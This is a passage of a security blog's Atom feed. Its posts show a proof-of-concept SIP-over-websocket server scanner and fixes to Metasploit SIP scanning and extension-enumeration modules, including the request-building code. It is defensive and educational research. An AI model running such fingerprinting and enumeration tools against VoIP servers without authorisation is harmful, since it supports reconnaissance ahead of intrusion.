impossible to solve completely.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content>
		<author>
			<name>Jesús Pérez</name>
			<email>noreply@blogger.com</email>
			<uri>http://nicerosniunos.blogspot.com/search/label/PlanetSecurity</uri>
		</author>
		<source>
			<title type="html">Ni ceros ni unos ...</title>
			<subtitle type="html">... mind overflow ...</subtitle>
			<link rel="self" href="http://nicerosniunos.blogspot.com/feeds/posts/default/-/PlanetSecurity/"/>
			<id>tag:blogger.com,1999:blog-7743819158194184549</id>
			<updated>2013-06-10T16:17:04+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Playing with QoffeeSIP: SIP over websocket scanner</title>
		<link href="http://nicerosniunos.blogspot.com/2013/01/playing-with-qoffeesip-sip-over.html"/>
		<id>tag:blogger.com,1999:blog-7743819158194184549.post-6075739821718349238</id>
		<updated>2013-01-16T09:15:00+00:00</updated>
		<content type="html">&lt;span id=&quot;internal-source-marker_0.8878092772793025&quot;&gt;&lt;span&gt;Some weeks ago we published &lt;/span&gt;&lt;a href=&quot;http://qoffeesip.quobis.com/&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;QoffeeSIP&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, the Javascript &lt;/span&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/draft-ietf-sipcore-sip-websocket/&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;SIP over websockets&lt;/span&gt;&lt;/a&gt;&lt;span&gt; stack which we use to develop our WebRTC products in &lt;/span&gt;&lt;a href=&quot;http://www.quobis.com/&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;Quobis&lt;/span&gt;&lt;/a&gt;&lt;span&gt;. An example is &lt;/span&gt;&lt;a href=&quot;http://www.quobis.com/index.php?option=com_content&amp;task=view&amp;id=19&amp;Itemid=30&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;IdentityCall&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, a system designed to provide call authentication in traditional VoIP and IMS environments. Now it achieves the same goal in WebRTC ones, interconnecting them at the same time with &lt;/span&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Public_switched_telephone_network&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;PSTN&lt;/span&gt;&lt;/a&gt;&lt;span&gt; network.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Today I’m showing a different case of use that those proposed in &lt;/span&gt;&lt;a href=&quot;https://quobis.atlassian.net/wiki/display/QoffeeSIP/Examples+of+use&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;examples&lt;/span&gt;&lt;/a&gt;&lt;span&gt; (the &lt;/span&gt;&lt;span&gt;&quot;simplest-example&quot;&lt;/span&gt;&lt;span&gt; and a &lt;/span&gt;&lt;span&gt;&quot;webphone&quot;&lt;/span&gt;&lt;span&gt;). I’m going to write a simple (but for sure the first one in the world ;) &lt;/span&gt;&lt;span&gt;SIP over websockets server scanner&lt;/span&gt;&lt;span&gt;. It should send a valid SIP (over websockets) petition, parse the interesting info from the response ( i.e. &lt;/span&gt;&lt;span&gt;&quot;User-Agent&quot;&lt;/span&gt;&lt;span&gt;) and print it. I’m using the simplest example as basis, here there are the description of the changes I made on the code:&lt;/span&gt;&lt;br /&gt;&lt;span&gt;- In this case no HTML video tags are provided to the constructor. The reason is that we are only using websocket features of the stack, not WebRTC ones.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;- Some stuff deleted from the interface in order to ask only for needed parameters (ip address, port and optionally the extension used to made the registration).&lt;/span&gt;&lt;br /&gt;&lt;span&gt;- Media parts were also deleted from &lt;/span&gt;&lt;span&gt;script.coffee&lt;/span&gt;&lt;span&gt; file, which defines the logic of the app.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;- Obviously we need to change this logic so I added some code at the end. &lt;/span&gt;In this case we are saying that when states 2 (&lt;/span&gt;&lt;span&gt;Registering after challenge) or 3 (Registered) are reached, received message is going to be parsed.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;br /&gt;&lt;span&gt;- Then strings &lt;/span&gt;&lt;span&gt;&quot;User-Agent&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;Server&quot;&lt;/span&gt;&lt;span&gt; and &lt;/span&gt;&lt;span&gt;&quot;Organization&quot;&lt;/span&gt;&lt;span&gt; are parsed from this response and printed. Really we are getting it from an object with the property &lt;/span&gt;&lt;span&gt;&quot;frame&quot;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;- Finally, makefile is modified in order to generate the output with the correct name. &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;script.coffee&lt;/b&gt;&lt;br /&gt;&lt;pre class=&quot;brush:ruby&quot;&gt;#&lt;span&gt;#&lt;/span&gt;&lt;pre&gt;# Copyright (C) Quobis&lt;br /&gt;# Project site: https://github.com/Quobis/QoffeeSIP&lt;br /&gt;# &lt;br /&gt;# Licensed under GNU-LGPL-3.0-or-later (http://www.gnu.org/licenses/lgpl-3.0.html)&lt;br /&gt;##&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# On document ready...&lt;br /&gt;$ -&amp;gt;&lt;br /&gt;    # Avoid page &quot;reloading&quot; on submit.&lt;br /&gt;    $(&quot;form&quot;).submit (e) -&amp;gt;&lt;br /&gt;        e.preventDefault()&lt;br /&gt;        false&lt;br /&gt;&lt;br /&gt;    # Declaration of api.&lt;br /&gt;    api = null&lt;br /&gt;&lt;br /&gt;    $(&quot;#init&quot;).submit =&amp;gt;&lt;br /&gt;        options =&lt;br /&gt;            server: {ip: $(&quot;#server-ip&quot;).val(), port: $(&quot;#server-port&quot;).val()}&lt;br /&gt;            onopen: =&amp;gt;&lt;br /&gt;                api.register &quot;qoffeesip&quot;, &quot;anonymous&quot;&lt;br /&gt;        api = new API options&lt;br /&gt;        api.on &quot;new-state&quot;, (state, message) -&amp;gt;&lt;br /&gt;            switch state&lt;br /&gt;                when 2,3&lt;br /&gt;                    userAgentRE =  /User-Agent:(.*)/i&lt;br /&gt;                    serverRE =  /Server:(.*)/i&lt;br /&gt;                    organizationRE =  /Organization:(.*)/i&lt;br /&gt;&lt;br /&gt;                    matchUa = userAgentRE.exec message.frame&lt;br /&gt;                    matchServer = serverRE.exec message.frame&lt;br /&gt;                    matchOrganization = organizationRE.exec message.frame&lt;br /&gt;&lt;br /&gt;                    output = matchUa or matchServer or matchOrganization&lt;br /&gt;                    $(&quot;#output&quot;).text(output[0])&lt;/pre&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;index.jade&lt;/b&gt;&lt;br /&gt;&lt;pre class=&quot;brush:html&quot;&gt;&lt;span&gt;//-&lt;/span&gt;&lt;pre&gt;//- @source: https://github.com/Quobis/QoffeeSIP&lt;br /&gt;//- Copyright (C) Quobis&lt;br /&gt;//- Licensed under GNU-LGPL-3.0-or-later (http://www.gnu.org/licenses/lgpl-3.0.html)&lt;br /&gt;//-&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;!!!&lt;br /&gt;head&lt;br /&gt;    title SIP over websockets scanner&lt;br /&gt;    script(src=&quot;lib/jquery-1.8.0.min.js&quot;)&lt;br /&gt;    script(src=&quot;lib/spine.js&quot;)&lt;br /&gt;    script(src=&quot;lib/underscore.js&quot;)&lt;br /&gt;    script(src=&quot;lib/qoffeesip.js&quot;)&lt;br /&gt;    script(src=&quot;script.js&quot;)&lt;br /&gt;&lt;br /&gt;body&lt;br /&gt;    form(id=&quot;init&quot;)&lt;br /&gt;        input(id=&quot;server-ip&quot;, type=&quot;text&quot;, placeholder=&quot;Server IP&quot;, required)&lt;br /&gt;        input(id=&quot;server-port&quot;, type=&quot;number&quot;, placeholder=&quot;Port&quot;, required)&lt;br /&gt;        input(type=&quot;submit&quot;, value=&quot;Scan&quot;)&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;div(id=&quot;output&quot;) &lt;/pre&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span&gt;I have committed this example to &lt;/span&gt;&lt;a href=&quot;https://quobis.atlassian.net/wiki/display/QoffeeSIP/Examples+of+use&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;QoffeeSIP examples of use&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, so you can download and use it as explained is &lt;/span&gt;&lt;a href=&quot;https://quobis.atlassian.net/wiki/display/QoffeeSIP/Quick+start+guide&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;QuickStart guide&lt;/span&gt;&lt;/a&gt;&lt;span&gt; of the project. The command &lt;/span&gt;&lt;span&gt;&quot;make build&quot;&lt;/span&gt;&lt;span&gt; (or simply &lt;i&gt;&quot;make&quot;&lt;/i&gt;) is going to put the output files in &lt;/span&gt;&lt;span&gt;&quot;dist&quot;&lt;/span&gt;&lt;span&gt; folder. Then you only have to move them to an HTTP server, like Apache. You could follow next steps:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;span id=&quot;internal-source-marker_0.8878092772793025&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;- Confirm you have installed coffeeScript and Jade in your system, if not you can use npm to install them (&lt;/span&gt;&lt;span&gt;&quot;coffee-script&quot;&lt;/span&gt;&lt;span&gt; and &lt;/span&gt;&lt;span&gt;&quot;jade&quot;&lt;/span&gt;&lt;span&gt;).&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span&gt;- Download the examples using git.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;&lt;span&gt;&lt;span&gt;git clone&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span&gt;&lt;i&gt; https://github.com/Quobis/QoffeeSIP.git&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;i&gt;&lt;span&gt;cd qoffeesip/examples/sipwebsockets-scanner&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;- Generate the files to distribute it.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;i&gt;make&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;- Copy them to your Apache server:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;i&gt;sudo cp -R dist/* /var/www&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;Here there are a few shoots:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-oLZrdPBRIBo/UPZfTpvoLpI/AAAAAAAAAkk/si_TGZqsPdU/s1600/0.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;105&quot; src=&quot;http://3.bp.blogspot.com/-oLZrdPBRIBo/UPZfTpvoLpI/AAAAAAAAAkk/si_TGZqsPdU/s400/0.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot;&gt;&lt;div class=&quot;separator&quot;&gt;&lt;span&gt;&lt;span&gt;Scanner setup&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&quot;separator&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-NZsZ59__CaY/UPZfrQJCFxI/AAAAAAAAAk0/wdv1FKOnZPw/s1600/Captura+de+pantalla+de+2013-01-16+01:35:37.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;258&quot; src=&quot;http://2.bp.blogspot.com/-NZsZ59__CaY/UPZfrQJCFxI/AAAAAAAAAk0/wdv1FKOnZPw/s400/Captura+de+pantalla+de+2013-01-16+01:35:37.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot;&gt;&lt;span&gt;S&lt;/span&gt;&lt;span&gt;canning IdentityCall server&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-3tc77ytYhBI/UPZfoOajePI/AAAAAAAAAks/3C4FiZhoEus/s1600/Captura+de+pantalla+de+2013-01-16+01%253A36%253A00.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;258&quot; src=&quot;http://1.bp.blogspot.com/-3tc77ytYhBI/UPZfoOajePI/AAAAAAAAAks/3C4FiZhoEus/s400/Captura+de+pantalla+de+2013-01-16+01%253A36%253A00.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot;&gt;&lt;span&gt;Scanning &lt;/span&gt;&lt;span&gt;Kamailio&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&quot;separator&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;In a real tool, for best results, we should make some improvements like these:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;- Use OPTIONS packets because of being more accurate for this target.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;span&gt;- Add support to ranges of ip addresses.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;- Avoid asking for approval to use webcam and/or micro. Really it is not used but it’s a limitation of the stack. We decided to do this request during registering instead of during a call because of usability issues.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;- Use &lt;/span&gt;&lt;a href=&quot;http://twitter.github.com/bootstrap/&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;Bootstrap&lt;/span&gt;&lt;/a&gt;&lt;span&gt; to get a more friendly interface.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;But this is only a proof of concept so I think it is good enough for now. The target of this post is to show a different way of playing with the stack. Anyway I’m going to add support for websockets to my &lt;/span&gt;&lt;a href=&quot;https://github.com/jesusprubio/metasploit-sip&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;SIP Metasploit modules&lt;/span&gt;&lt;/a&gt;&lt;span&gt; in any moment if you are interested in more professional tools.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;In the same way, if you were interested in a more complex application you can visit &lt;/span&gt;&lt;a href=&quot;http://talksetup.quobis.com/&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;the online demo&lt;/span&gt;&lt;/a&gt;&lt;span&gt; which implements &lt;/span&gt;&lt;span&gt;&quot;webphone&quot; &lt;/span&gt;&lt;span&gt;example of use. &lt;/span&gt;&lt;span&gt;So you can play with it too, if you need help you can always open an issue on &lt;a href=&quot;https://github.com/Quobis/QoffeeSIP&quot; target=&quot;_blank&quot;&gt;Github&lt;/a&gt;&lt;/span&gt;&lt;span&gt;&lt;a href=&quot;https://github.com/Quobis/QoffeeSIP&quot; target=&quot;_blank&quot;&gt; repository&lt;/a&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-NLd_7X0bNDw/UPZg1tsb7XI/AAAAAAAAAlU/iH38vmgS6wI/s1600/3.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;187&quot; src=&quot;http://1.bp.blogspot.com/-NLd_7X0bNDw/UPZg1tsb7XI/AAAAAAAAAlU/iH38vmgS6wI/s400/3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot;&gt;&lt;span&gt;QoffeeSIP demo&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&quot;separator&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;b&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;</content>
		<author>
			<name>Jesús Pérez</name>
			<email>noreply@blogger.com</email>
			<uri>http://nicerosniunos.blogspot.com/search/label/PlanetSecurity</uri>
		</author>
		<source>
			<title type="html">Ni ceros ni unos ...</title>
			<subtitle type="html">... mind overflow ...</subtitle>
			<link rel="self" href="http://nicerosniunos.blogspot.com/feeds/posts/default/-/PlanetSecurity/"/>
			<id>tag:blogger.com,1999:blog-7743819158194184549</id>
			<updated>2013-06-10T16:17:04+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Fixing some SIP related Metasploit modules</title>
		<link href="http://nicerosniunos.blogspot.com/2012/10/fixing-some-sip-related-metasploit.html"/>
		<id>tag:blogger.com,1999:blog-7743819158194184549.post-7485915521339503915</id>
		<updated>2012-10-08T14:03:00+00:00</updated>
		<content type="html">&lt;div&gt;Hi again, while I was checking some demos for &lt;a href=&quot;http://nicerosniunos.blogspot.com.es/2012/09/voip-class-at-vigo-university.html&quot; target=&quot;_blank&quot;&gt;our class&lt;/a&gt; at Vigo University representing &lt;a href=&quot;http://quobis.com/&quot;&gt;Quobis&lt;/a&gt;&amp;nbsp;I noticed that Metasploit &lt;a href=&quot;http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/auxiliary/scanner/sip/options.rb&quot; target=&quot;_blank&quot;&gt;options.rb&lt;/a&gt; module (SIP scanning) wasn't working ok. I mean, it was unable to recognize a Kamailio server. Next two pictures show the difference with SIPVicious output:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-dsvxB1mWdzg/UHK-9FMwJYI/AAAAAAAAAh0/kRU_fLlYwDQ/s1600/1.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;65&quot; src=&quot;http://4.bp.blogspot.com/-dsvxB1mWdzg/UHK-9FMwJYI/AAAAAAAAAh0/kRU_fLlYwDQ/s400/1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-g5oVwInAiic/UHK_IagReWI/AAAAAAAAAh8/N1MMaKs6uKw/s1600/2.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;65&quot; src=&quot;http://1.bp.blogspot.com/-g5oVwInAiic/UHK_IagReWI/AAAAAAAAAh8/N1MMaKs6uKw/s400/2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Some time ago, I wrote &lt;a href=&quot;http://nicerosniunos.blogspot.com.es/2011/09/voip-information-gathering-metasploit.html&quot;&gt;a post&lt;/a&gt; about this module and I remember being a bit surprised because the code doesn't respect SIP protocol at all (but It worked with Asterisk). After a quick view to Kamailio logs my suspects were confirmed, &lt;a href=&quot;http://www.kamailio.net/docs/modules/1.6.x/sanity.html&quot;&gt;Sanity module&lt;/a&gt; was doing right its job dropping these packets. :)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-zfmRsRbKXvw/UHLBh6BT6zI/AAAAAAAAAiM/xHiCsLhH7tU/s1600/4.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;100&quot; src=&quot;http://1.bp.blogspot.com/-zfmRsRbKXvw/UHLBh6BT6zI/AAAAAAAAAiM/xHiCsLhH7tU/s400/4.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Next function defines how requests are created in actual module, If you are familiar with &lt;a href=&quot;http://www.ietf.org/rfc/rfc3261.txt&quot;&gt;SIP RFC&lt;/a&gt;&amp;nbsp;you probably will notice what I'm talking about. If not, I suggest you to compare it with my&amp;nbsp;&lt;i&gt;create_request&lt;/i&gt;&amp;nbsp;function of &lt;a href=&quot;https://github.com/jesusprubio/metasploit-sip/blob/master/sipflood.rb&quot; target=&quot;_blank&quot;&gt;sipflood.rb&lt;/a&gt; module.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; def create_probe(ip)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; shost = Rex::Socket.source_address(ip)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; src &amp;nbsp; = &quot;#{shost}:#{datastore['CPORT']}&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; data &amp;nbsp;= &quot;OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; data &amp;lt;&amp;lt; &quot;Via: SIP/2.0/UDP #{src};branch=z9hG4bK.#{&quot;%.8x&quot; % rand(0x100000000)};rport;alias\r\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #data &amp;lt;&amp;lt; &quot;From: sip:#{suser}@#{src};tag=70c00e8c\r\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; data &amp;lt;&amp;lt; &quot;From: sip:#{suser}@#{src};tag=70c00e8c\r\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #data &amp;lt;&amp;lt; &quot;To: sip:#{datastore['TO']}@#{ip}\r\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; data &amp;lt;&amp;lt; &quot;To: sip:#{suser}@#{ip}\r\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; data &amp;lt;&amp;lt; &quot;Call-ID: #{rand(0x100000000)}@#{shost}\r\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; data &amp;lt;&amp;lt; &quot;CSeq: 1 OPTIONS\r\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; data &amp;lt;&amp;lt; &quot;Contact: &amp;nbsp;sip:#{suser}@#{src}\r\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; data &amp;lt;&amp;lt; &quot;Content-Length: 0\r\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; data &amp;lt;&amp;lt; &quot;Max-Forwards: 20\r\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; data &amp;lt;&amp;lt; &quot;User-Agent: #{suser}\r\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; data &amp;lt;&amp;lt; &quot;Accept: text/plain\r\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; end&lt;/span&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Once some changes were done in order to use my function (with OPTIONS packets), we can see that we have a correct response now.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-hGFKZGwTUhk/UHLBpaMmBiI/AAAAAAAAAiU/708CRIBg5Ig/s1600/3.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;181&quot; src=&quot;http://3.bp.blogspot.com/-hGFKZGwTUhk/UHLBpaMmBiI/AAAAAAAAAiU/708CRIBg5Ig/s400/3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This issue often appears working with Session Border Controllers so I coded our own version of these modules.&amp;nbsp;Nothing else, here there are the links to the new version of the modules. I also added this feature to &lt;a href=&quot;http://www.metasploit.com/modules/auxiliary/scanner/sip/enumerator&quot;&gt;enumeration.rb&lt;/a&gt; module, needed to brute-force valid extensions.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;- &lt;a href=&quot;https://github.com/jesusprubio/metasploit-sip/blob/master/options.rb&quot; target=&quot;_blank&quot;&gt;options.rb&lt;/a&gt;&lt;br /&gt;- &lt;a href=&quot;https://github.com/jesusprubio/metasploit-sip/blob/master/options_tcp.rb&quot; target=&quot;_blank&quot;&gt;options_tcp.rb&lt;/a&gt;&lt;br /&gt;- &lt;a href=&quot;https://github.com/jesusprubio/metasploit-sip/blob/master/enumerator.rb&quot; target=&quot;_blank&quot;&gt;enumerator.rb&lt;/a&gt;&lt;/div&gt;&lt;div&gt;- &lt;a href=&quot;https://github.com/jesusprubio/metasploit-sip/blob/master/enumerator_tcp.rb&quot; target=&quot;_blank&quot;&gt;enumerator_tcp.rb&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Anyway, If you try to enumerate Kamailio extensions you will fail because its default configuration avoid this. Asterisk also has an option to do it but it can be bypassed. And FreeSWITCH? We will play with all this stuff another day. ;)&lt;/div&gt;</content>
		<author>
			<name>Jesús Pérez</name>
			<email>noreply@blogger.com</email>
			<uri>http://nicerosniunos.blogspot.com/search/label/PlanetSecurity</uri>
		</author>
		<source>
			<title type="html">Ni ceros ni unos ...</title>
			<subtitle type="html">... mind overflow ...</subtitle>
			<link rel="self" href="http://nicerosniunos.blogspot.com/feeds/posts/default/-/PlanetSecurity/"/>
			<id>tag:blogger.com,1999:blog-7743819158194184549</id>
			<updated>2013-06-10T16:17:04+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">VoIP class at Vigo University</title>
		<link href="http://nicerosniunos.blogspot.com/2012/09/voip-class-at-vigo-university.html"/>
		<id>tag:blogger.com,1999:blog-7743819158194184549.post-2030143441196597712</id>
		<updated>2012-09-27T15:38:00+00:00</updated>
